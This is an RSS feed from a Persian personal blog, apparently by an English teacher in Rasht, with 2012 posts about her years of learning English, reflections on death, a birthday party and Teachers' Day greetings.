﻿<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>الهه و مامان به سوی آینده 2</title>
    <description>بنویس و دانش خود را منتشر ساز و اگر مردی نوشته هایت رابرای فرزندانت به میراث بگذار. امام صادق علیه السلام</description>
    <link>http://560205.persianblog.ir/</link>
    <copyright>PersianBlog</copyright>
    <lastBuildDate>Mon, 14 May 2012 16:52:22 GMT</lastBuildDate>
    <docs>http://backend.userland.com/rss</docs>
    <generator>PersianBlog</generator>
    <item>
      <title>دوباره ها</title>
      <description>&lt;p&gt;&lt;a href="http://www.mhdh.persianblog.ir"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;a href="http://www.mhdh.persianblog.ir"&gt;www.mhdh.persianblog.ir&lt;/a&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;وبلاگ الهه خانم&lt;img title="قلب" src="http://www.persianblog.ir/editor/images/smilies/8.gif" alt="قلب" border="0" /&gt;&lt;a href="http://www.mhdh.persianblog.ir"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/157</link>
      <comments>http://560205.persianblog.ir/comments/411787/9439324/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9439324</guid>
      <pubDate>Mon, 14 May 2012 16:52:22 GMT</pubDate>
    </item>
    <item>
      <title>زبان 3</title>
      <description>&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;بله داشتم می گفتم.هیچ آموزشگاهی منو راضی نمی کرد. چون هیچ جا کیش نمی شد.هر جا می رفتم هی دنبال اون جو بودم ولی خبری نبود.... همیشه این حسرت برام باقی بود که چرا نتونستم کیش رو دنبال کنم و فکر می کردم خب این دیگه غیر ممکنه که بتونم دوباره به اونجا برم....زمستان 83 بود که دیگه تصمیم گرفتم کلاس ها رو بذارم کنار و کمی استراحت کنم ولی بهار 84 بود که خانوم ب*ا*ق*ر*ی* که معلمم تو شکوه بود بهم زنگ زد که از اونجا اومده بیرون و می خواد چند تا از بچه های خوب اونجا رو جمع کنه و ببره موسسه دیگری درس بده و منم چزء اونها بودم.فکر کنم چهار پنج نفر بودیم و چند ترم هم اونجا خوندیم.... تا اینکه خانوم معلم یهو ما رو جا گذاشت و نمی دونم اصلا چی شد!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;سال 85 بود. وسطاش. نمی دونم من چرا اینقدر سمج بودم و نمی خواستم کوتاه بیام. نمی دونم چی باعث می شد که هی دوباره و دوباره شروع کنم... بعد از مدتی کلنجار رفتن با خودم باز رفتم موسسه شکوه. با اینکه می دونستم سطحش اومده پایین ولی می خواستم یه جای برم کلاس. اخه زبان رو خیلی دوست داشتم و حرف هیچکس برام مهم نبود. برای هزارمین بار تعیین سطح شدم و باز رفتم سر کلاس و باز از همه شون بهتر بودم... اما باز هم راضیم نکرد و باز هم بخاطر کار و مشغله و هزار چیز دیگه بعد از یه ترم دیگه منصرف شدم.به خودم گفتم دیگه ولش کن. تو که شرایطت تغییر نمی کنه. همین سر کارو باید بری و کیش هم که نمی تونی بری پس بشین خودت بخون ولی مگه می شد؟&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;همش در درون با خودم کشمکش داشتم.سال 86 آخراش زد به سرم که برم کانون زبان. با اینکه می دونستم اونجا هم منو راضی نخواهد کرد... در تعیین سطحش لول High1 قبول شدم. رفتم سر کلاس نشستم ولی...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;این مصادف شد با بیرون اومدنم از اون شرکت مزخرف که خودش داستانی دیگه داشت.... سال 87 بود و من ماهها تو خونه بودم و در بدترین شرایط روحی قرار داشتم. به تنها چیزی که فکر نمی کردم زبان خوندن بود.چون هزار تا راه رفته بودم و هیچکدومشون منو راضی نمی کرد.... تا اینکه یه شب خواب دیدم با م*ر*ی*م*ش*ع*ا*ع*ی* رفته م تعیین سطح کیش،خیلی خوشحال بودم اونم خوشحال بود... از خواب پاشدم سر پله ها نشستم و به خدا گفتم آخه چرا پای منو از کیش انداختی که هیچ جای دیگه نتونه منو راضی کنه؟ آخه چی ازت کم می شد؟ و واسه خودم گریه کردم. شب به عباس خوابم رو گفتم. گفت خب زنگ بزن کیش. شاید مدیرش عوض شده باشه... شاید این خواب یه نشونه باشه. گفتم نه بابا این همه سال عوض نشده حالا یهو می خواد بشه؟ خودش گوشی رو ورداشت و زنگ زد... اره مدیرشون چند ماه قبل عوض شده بود! بعد اونهمه سال مدیر عوض شده بود! اون خواب من یه نشونه بود!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;بال گرفتم.... فرداش رفتم تعیین سطح و جالبه از ادامه همون سطح قبلیم منو نشوندن. اونم بعد از 7 سال. هیچکس نمی دونست که ایندفه من چقدر قدر کیش رو می دونستم. دوبار برای زندگی انگیزه پیدا کرده بودم. نمی تونم توضیح بدم که چه حالی داشتم.... هر روز با ذوق و شوق وصف نشدنی کلاس می رفتم و اونقدر حرف می زدم که یهو زبانم یه جهش حسابی پیدا کرد.... اونجا دوستانی پیدا کردم که هیچ جای دنیا نبودن.... چیزهایی یاد گرفتم که هیچ جای دنیا یاد نگرفته بودم.... اونجا همکلاسهای سابقم رو دیدم که معلمم شده بودن.... فهمیدم که می تونم تو این راه ادامه بدم و مثل اونها بشم و کمتر از یه سال بعد منم معلم شده بودم. اونجا رو تا Advanced2 ادامه دادم.البته اونجامعلم نشدم&amp;nbsp; ولی الان تجربه تدریس تو 4 اموزشگاه رو دارم و اینجایی که هستم از همه شون بهتر و راضی کننده تره. بالاخره به کیش برگشتم و اون رو تموم کردم. الانم آخرهای کلاس ایلتس هستم . همونجا می رم.پارسال بدون هیچ کلاسی،تو آزمون آیلتس شرکت کردم . فکر کردم بی کلاس می تونم ولی نمره دلخواه نیاوردم و بعد فهمیدم که آیلتس خم و چم های خودشو داره و الان خیلی بهتر شده م. البته اون نمره ایلتسم به دردم خورد و این اموزشگاه جدیده بخاطر همون منو خواست.... الان تو کیش کلاس فری دیسکاشن هم داریم . خودم دویدم و گروه جور کردم و کلاس هم تشکیل شد... می دونم که بالاخره یه روز از اونجا خواهم رفت ولی هرگز کیش دختران رشت رو فراموش نخواهم کرد و هر کس هر قدر هم بخواد بد بگه ، من هرچی دارم از کیش دارم.... خانوم رضاپور نازنین ، مدیر کیش که یه دنیا مدیونشم و تمام معلمهای عزیزی که از هر کدومشون هزار تا خاطره دارم و دوستان نازنینم که سالها باهاشون خندیدم و شاد بودم و کلاسهایی که زندگی رو به من برگردوندن...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;خدایا ممنونم... زیااااااااااااااااااد&lt;img title="قلب" src="http://www.persianblog.ir/editor/images/smilies/8.gif" alt="قلب" border="0" /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/156</link>
      <comments>http://560205.persianblog.ir/comments/411787/9420771/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9420771</guid>
      <pubDate>Fri, 11 May 2012 12:15:42 GMT</pubDate>
    </item>
    <item>
      <title>زبان2</title>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;خب داشتم می گفتم.خلاصه ترم اول دانشگاه که ما زبان پیش داشتیم خیلی خجالت می کشیدیم که دوباره بشینیم مثل خنگها آی ام و یو آر بخونیم.. استاد آقای خلیلی بودن... ولی بهر خفتی بود گذشت و رفت و ما 18 شدیم و ترم دوم زبان عمومی دادن. البته بگم ما رشته ی زبان قبول نشدیم و مهندسی منابع طبیعی خوندیم منتها در دانشگاه سراسری و خیلی خوشحال بودیم که قراره جنگلهای عالم به دست ما نجات پیدا کنن (آره جون خودم) فقط غصه ش موند برامون!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;خلاصه ترم دوم سه واحد زبان عمومی داشتیم که استادمون خانوم میرزایی نامی بود که در کلاس انگلیسی صحبت می کرد و البته ما هم می فهمیدیم چی می گه و خیلی هم به خودمون مغرور بودیم. اون ترم من 17 شدم و وقتی دیدم دیگه خبری از زبان نیستش تصمیم گرفتم تابستون برم کلاس. البته بعد از اتمام سال دوم دانشگاه بود که رفتم آموزشگاه البرز که اون موقع تو رشت معروف بود اسم نوشتم و آقای سالاری کتاب streamline departure رو درس می داد. من اونجا شاگرد اول بودم چون بقیه بچه ها دانش آموز بودن و اصطلاحا سطحشون پایین بود بقول معروف تو شهر کورا یه چشم پادشاهه &lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&lt;img title="قهقهه" src="http://www.persianblog.ir/editor/images/smilies/24.gif" alt="قهقهه" border="0" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;اون ترم 100 شدم و کلی ذوق کردم و زبان آموزی موکول شد به یک سال بعد که دوباره رفتم اونجا تا ترم دومش رو بخونم.اون ترم راحیل با من همکلاس بود...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;اینو نگفتم که من وقتی دوم نظری بودم اولین بار رفتم آموزشگاه آدینه و تعیین سطع دادم و منو ترم 9 نشوندن ولی چند جلسه که رفتم کلاس دلمو زد چون از اون جزوه های کت و کلفت پر از ریدینگ بودش که حالم بهم می خورد. من اسپیکینگ و لیسنینگ می خواستم!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;آره، ترم دوم رو هم در البرز گذروندم و دیگه ترم سومی در کار نبود چون سال آخری درسهامون مشکل شده بود و از طرفی من ترم 8 عقد کردم و تابستون بعدش هم ازدواج.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;یادمه یکی از شبهای تابستون که نشسته بودم تا کارتهای عروسیمو بنویسم و اون شب هم خوابم پریده بود تو رختخواب داشتم فکر می کردم که حالا که درسم تموم ش&lt;/span&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;ده و کار هم که خبری نیستش، چکار کنم؟ آیا باید بشینم خونه و قورمه سبزی بپزم؟ آخه من نمی خوام یه زن خونه دار باشم. باید کاری بکنم. بعد به خودم گفتم بهتره برم سراغ زبان و کلاس قران... ( البته کلاس قرآن نشد برم)&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;روز 5 مهر ماه 79 بود . یادمه که موسسه کیش تازه باز شده بود. همکلاسم مریم اون رو بهم معرفی کرده بود و خواهرم ارمغان اونجا می رفت. منم تعیین سطح دادم و یادمه که E2 قبول شدم. کلی هم مفتخر بودم که ب له ما ترم 4 هستیم م م م !&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;موسسه کیش برای زبان من نقطه عطفی بود.... تا PI3 اونجا خوندم و بعدش به دلیل کنتاکتی که با مدیر سابقش پیدا کردم بالاجبار ترکش کردم. البته نمی خواستم ترکش کنم.می خواستم یه ترم نرم که مصادف شد با قبولیم در رشته مترجمی زبان دانشگاه آزاد رشت که البته دو ماه بیشتر نرفتم و بعدش بخاطر اومدن الهه مجبور به استراحت مطلق شدم در خونه....&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;البته بگم که بعد از یکی دو ماه راه افتادم رفتم آموزشگاه علامه تا ادامه بدم و چند ترم هم اونجا خوندم تا اینکه یه روز سر کلاس حالم به هم خورد و مدیر خانوم دکتر ح*س*ا*س*خ*و*ا*ه* که معلممون هم بودش ، بهمراه همسرشون منو به خونه رسوندن و من دیگه از اون روز ایشون رو ندیدم....&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;بعد از به دنیا اومدن الهه ، وقتی سه ماهه شد باز پاشدم رفتم موسسه شکوه و تعیین سطح شدم و SEC4 نشستم. حالا دیگه زبانم به سطح نسبتا خوبی رسیده بود و 6 ترم اونجا خو&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;ندم. در این اثناء رفتم سر کار و با &lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;داشتن بچه فسقلی و اداره دیگه برام سخت بود که بخوام کلاس هم برم و برای مدتی گذاشتمش کنار. الب&lt;/strong&gt;&lt;strong&gt;ته همیشه از پنجره های موسسه ، به ساختمون کیش نگاه می کردم و آرزو داشتم یه روز به اونجا برگردم...&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt; ولی انگار دیگه نمی شد.... با اون مدیری که اگه منو می دید ، دوباره ترم یک می نشوند!&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;ادامه دارد&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/155</link>
      <comments>http://560205.persianblog.ir/comments/411787/9411627/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9411627</guid>
      <pubDate>Wed, 09 May 2012 16:28:11 GMT</pubDate>
    </item>
    <item>
      <title>زبان1</title>
      <description>&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;img src="http://up.vatandownload.com/images/mesjbw1dsxk1otn7rttv.gif" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;تو وبلاگ نیمکره جنوبی داشتم می خوندم که نویسنده عزیز،ش درباره روند زبان اموزیش نوشته بود. برام جالب بود .زبان آموزی هر کس واسه خودش داستانی داره که منحصر بفرده و تو این روزها، همه به زبان روی اورده ن و این خیلی منو خوشحال می کنه. چون الان امکانات خوبی هست و دیگه کسی مثل ما تا آخر دوره دانشگاهش آرزو بدل نمی مونه .... همه می تونن از چند سالگی شروع کنن به زبان آموزی و تا هر وقت دلشون می خواد بخونن و حتی امکان این براشون هست که به زبان دوم هم بپردازن و شاید زبان سوم و الی آخر... این خیلی خوبه که تو شهر خودم اینقدر مردم رو مشتاق می بینم. اونقدر که به جرات می تونم بگم از هر 5 نفر دور و برم حداقل 4 نفر به کلاسهای زبان می رن. چه بچه ها و چه آدم بزرگها. اونقدر رقابت توی آیلتس شدید شده که شهر من رشت برای اولین بار داره آزمون رو بصورت متمرکز برگزار می کنه و این یه افتخار و یه نشونه ی قشنگه... نشونه اینکه مردم من چقدر خوب دارن پیشرفت می کنن. علی رغم اینکه نسبت به شهرهای بزرگ مثل تهران و اصفهان و تبریز و مشهد و شیراز .... از امکانات بسیار کمتری برخوردارن.... و این چقدر منو شاد می کنه.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;یادمه اون وقتها که کوچک بودم ( ایام بی سوادی قبل از دبستان ) تنها اطلاعاتم در مورد انگلیسی یه کتاب گنده ی پاره پوره بود به این زبان که کلی عکس داشت و البته رنگ شده نبودن.زیر هر عکس هم نامش نوشته شده بود که با اینکه نمی فهمیدم چی نوشته ، شکلش رو حفظ کرده بودم مثلا یکیشون queen بود. همه کتاب رو رنگ زده بودم و خیلی دوستش داشتم . البته یادم نیست کتاب چی شد ولی اطلاعات بعدیم در مورد زبان موکول شد به کلاس پنجم دبستان که همکلاسمون مهرنوش که دختر ناظممون بود بهمون یاد داد که تا ده بشماریم. یازده و دوازده رو خودش بلد بود ولی ما نتونستیم یاد بگیریم!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;سال اول راهنمایی که هیچ، وقتی رفتیم دوم راهنمایی یه کتاب دادن دستمون و گفتن این کتاب زبانه و ما هم شروع کردیم. اسم معلممون خانوم بهنامیان بود که امیدوارم هر جا هست خدا حفظش کنه. به قدری قشنگ نوشتن حروف رو به ما یاد داد که هرگز از یاد نخواهم برد هر چند که دستخط من هرگز زیبا نشد ولی همیشه حروف رو درست می نویسم....&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;یادمه ثلث اول سر امتحان به جای we are نوشتم we am و این باعث شد اولین نمره م 19 بشه! ولی روند زبان آموزیم بخوبی پیش می رفت. البته طبق روال معمول اون موقع ها....&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;سوم راهنمایی معلممون خانم دانش بود. چه خوب که اسمش یادم اومد. اولین نمره م 15 شد .نمی دونم چرا ... ولی هر چی بود برام خیلی گرون تموم شده بود. من که شاگرد اول کلاس بودم نباید این نمره رو می اوردم و یه شاگرد معمولی مثل سلطانی 18 می اورد. این بود که تمام تلاشم رو کردم و امتحان بعدی رو 20 شدم و پشت سرش امتحان ثلث رو هم 20 شدم و این توجه معلممون رو به من جلب کرد...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;اول دبیرستان خانم باقری معلممون شد. چقدر دوستش داشتم. براش آرزوی سلامتی می کنم و نیز برای همسرشون آقای بابلیان... خانوم باقری بعدها دکتراش رو گرفت... و دوم دبیرستان خیلی جالب بود. معلمی داشتیم بنام خانوم سمیعی که اصلا باهاش جور نبودیم و بدون اینکه از درسش هیچی بفهمیم ثلث اول یه امتحانی گرفت که بالاترین نمره کلاس 16 شد و دومین نمره که مال من بود 13.75 شد. فکرشو بکنین تو یه کارنامه ی پر از 19 و 20 یه نمره ی اینچنینی باشه! این باعث شد معدلم به 18 و خرده ای تنزل پیدا کنه و تمام کلاس از این وضع ناراضی بودن چون همه زیر ده شده بودن!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;بنابراین ثلث بعد خانوم خاچاطوریان معلم اون یکی کلاس سوالها رو طرح کرد و چه سوالهایی... ! آب خوردن. منم فکر کنم 20 شدم یا 18 و این ثلث معدلم به 19 رسید!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;خانوم سمیعی از شدت خشم داشت داغون می شد چون معتقد بود سوالات بسیار مزخرف بوده و در حد دوم نظری نیست.... بهر حال گذشت&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;سال سوم خانوم خاچاطوریان عزیز معلممون شد و اون آخرین سال تدریسش بود.سال خوبی بود چون اونقدر راحت می گرفت که ما حالش رو می بردیم... و سال آخر هم خانوم کاظمی بود که خودش در امر زبان متخصصی بود....&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;یادمه تو اون بحبوحه ی درس خوندن بچه ها برای کنکور ، تو سال چهارم که همه می خواستن پزشکی بزنن و دکتر بشن، هر کی تو کلاس ازم می پرسید می گفتم من پزشکی نمی زنم. می خوام زبان بخونم و آرزوم این بود که به کلاس مکالمه برم و بتونم حرف بزنم. یادمه تنها جملاتی که می تونستم بگم نام خودم بود و اینکه چند ساله ام...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;و این یه رویا بود!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;یادمه هر وقت درسها سخت می شد و من به کنکور فکر می کردم، به خودم دلداری می دادم که ناراحت نباش تو قراره برای کنکور فقط عمومی ها رو بخونی و زبان قبول شی ولی موقع کنکور دیدم نمی ارزه که من ریسک کنم و فقط عمومی بخونم. بهتر بود روی همه درسها حساب وا می کردم( کاری که اشتباه بود و هیچ منفعتی برام نداشت)&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;سال بعدش در کنار رشته های انتخابیم زبان رو هم زدم و این رو بگم که تو کلاس کنکوری که می رفتم آقای مستشاری عزیز خیلی خیلی به من لطف کردن و هرچی از base زبان می دونم از تدریس استادانه ی ایشونه و من خیلی خیلی تو کلاسش پیشرفت داشتم و از من انتظار 90 در صد داشتن... ولی خب می دونین که بچه ها تو کنکور سر زبان وقت کم میارن و منم مستثنی نبودم و بس که در صدم افتضاح شده بود تو دانشگاه مشمول زبان پیش دانشگاهی شدم که خیلی برام خفت بار بود...&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;ادامه دارد&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/154</link>
      <comments>http://560205.persianblog.ir/comments/411787/9405522/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9405522</guid>
      <pubDate>Tue, 08 May 2012 14:58:41 GMT</pubDate>
    </item>
    <item>
      <title>مرگ اگر مرد است گو نزد من آی</title>
      <description>&lt;p style="text-align: justify;"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://up.vatandownload.com/images/e67dzgaos0gkth398yd.jpg" alt="" width="386" height="258" /&gt;&lt;/p&gt;
&lt;p style="text-align: right;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;مدتیه خیلی خیلی مرگ رو نزدیک احساس می کنم. منظورم این نیست که فکرمی کنم که زود می میرم.... نه،مرگ رو نزدیک حس می کنم. یعنی می بینم که دور و برم داره میاد و میره. داره بین مردم دور و برم حرکت و زندگی می کنه... صبور و آروم ، در سکوت مطلق یک به یک دست رو شونه ی اطرافیانم می ذاره و نوبتشون رو بهشون یاد آوری می کنه.مرگ رو این روزها بین مردم کوچه و بازار می بینم. بین مردمی که با من تاکسی سوار میشن. مردمی که ازشون چیز می خرم. مردمی که بد رانندگی می کنن و به هم فحش می دن. مردمی که تو صف عابر بانکها می ایستن تا پول وردارن.... مثل اون آقای ص* ف *ر *پ* و* ر که نگهبان بیمارستان آریا بود و هم محلی عباس، وقتی اون شب خواستیم بریم ملاقات، ما رو راه داد و ده روز بعد اعلامیه ش رو دیدیم که هفتمش هم گذشته بود! مثل استاد پور رضا که دوست نداشتم بره... مثل ا*ف*ش*ی*ن* ج*ع*ف*ر*ی*که یه روز تو حیاط ما با بابا و مامان حرف می زد و من خودمم باهاش چند کلمه حرف زدم و مدت کوتاهی بعد ... دیگه نبود... مثل آقای دکتر الهه ( دکتر م*ج*ت*ب*ا*ی*ی*که تازه در حال بازنشستگی بود که سرطان یقه ش رو گرفت و به عباس می گه که هر روز بهش زنگ بزنه. اونم دو نوبت... تو اون وضع اونقدر روحیه ی عالیی داره که صداش از پشت تلفن عباس ، به هر کسی انرژی می ده... صدایی که دیر یا زود خاموش خواهد شد....ریه ای که دیر یا زود....&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: right;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;با هر زنگ که عباس بهش می زنه،روزی دو نوبت، به هر دومون یاد اوری می شه که شاید ما هم فرصت چندانی نداشته باشیم.... هر بار که بهش زنگ می زنه من خرد می شم و ازش می خوام اصلا از حالش بهم نگه.... ولی خودم و خودش می دونه که چقدر فرصت رو کوتاه می بینیم. باید سبک بشیم تا وقتی نوبتمون شد زیاد دلتنگ نشیم.... مثل کسی که مهاجرت می کنه و تا می تونه باید بارش رو سبک برداره... می خوام چند ماه دیگه که از این خونه اثاث کشی کردیم، تا می تونم وسایل اضافه رو رد کنم... باید یاد بگیرم... تو این گیر و دار داریم تمرین می کنیم که یاد بگیریم&amp;nbsp; از هر لحظه زندگی لذت ببریم.شاید لحظه بعد نتونیم پیش هم واستیم و ویترین مغازه ای رو نگاه کنیم.... شاید نتونیم دور هم تلویزیون نگاه کنیم... شاید نتونیم بریم خونه هم و تولد همدیگه رو تبریک بگیم.... زندگی یعنی همین... یعنی لحظه.... و دیگر هیچ&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/153</link>
      <comments>http://560205.persianblog.ir/comments/411787/9396285/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9396285</guid>
      <pubDate>Sun, 06 May 2012 20:21:04 GMT</pubDate>
    </item>
    <item>
      <title>(بدون عنوان)</title>
      <description>&lt;p&gt;دیروز روز خیلی خوبی بود چون تعداد زیادی از دوستان مهمانم بودن. ده نفر رو دعوت کرده بودم که نه نفرشون اومدن. واسه تولدم بود البته با یک هفته تاخیر. از صبح خیلی کار کرده بودم و خیلی هم زیاد بود ولی وقتی دوستان اومدن و حسابی شلوغ پلوغ کردن خستگی هام رفتن و جای شما خالی خیلی خوش گذشت.مقادیری هم کادو بابت تولد و روز معلم دریافت کردم.غذا ماکارونی و سمبوسه و کالباس و لقمه ی گوشت و شنیتسل مرغ و سالاد به همراه انواع نوشیدنی ها و کیک و ژله و شیرینی و میوه و ..... بود.... جاتون خالی. یه دونه شمع هم گذاشتیم که سمبل 35 سالگی بود!&lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;راستی جوجه نیکداد ما هم عینکی شد و فوق العاده خوش تیپ : ببینین!&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;img src="http://up.vatandownload.com/images/etayds7g09qzuy5d64xz.jpg" alt="" width="330" height="282" /&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/152</link>
      <comments>http://560205.persianblog.ir/comments/411787/9376233/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9376233</guid>
      <pubDate>Thu, 03 May 2012 08:50:41 GMT</pubDate>
    </item>
    <item>
      <title>(بدون عنوان)</title>
      <description>&lt;p&gt;امسال روز معلم دومم آمد و من نت نداشتم تا به خود و همکاران تبریک بگویم..... ازطریق موبایلم......روز همگی معلمان صمیمانه مبارک هاهاهاهاهاهاها!&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/151</link>
      <comments>http://560205.persianblog.ir/comments/411787/9368709/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9368709</guid>
      <pubDate>Tue, 01 May 2012 21:01:36 GMT</pubDate>
    </item>
    <item>
      <title>مبارکم باد</title>
      <description>&lt;p style="text-align: center;"&gt;&lt;img src="http://up.vatandownload.com/images/4wkujb2hc24xa72pf8ii.jpg" alt="" width="491" height="547" /&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;عزیزم تولدت مبارک&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;همیشه سالم و زنده باشی&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
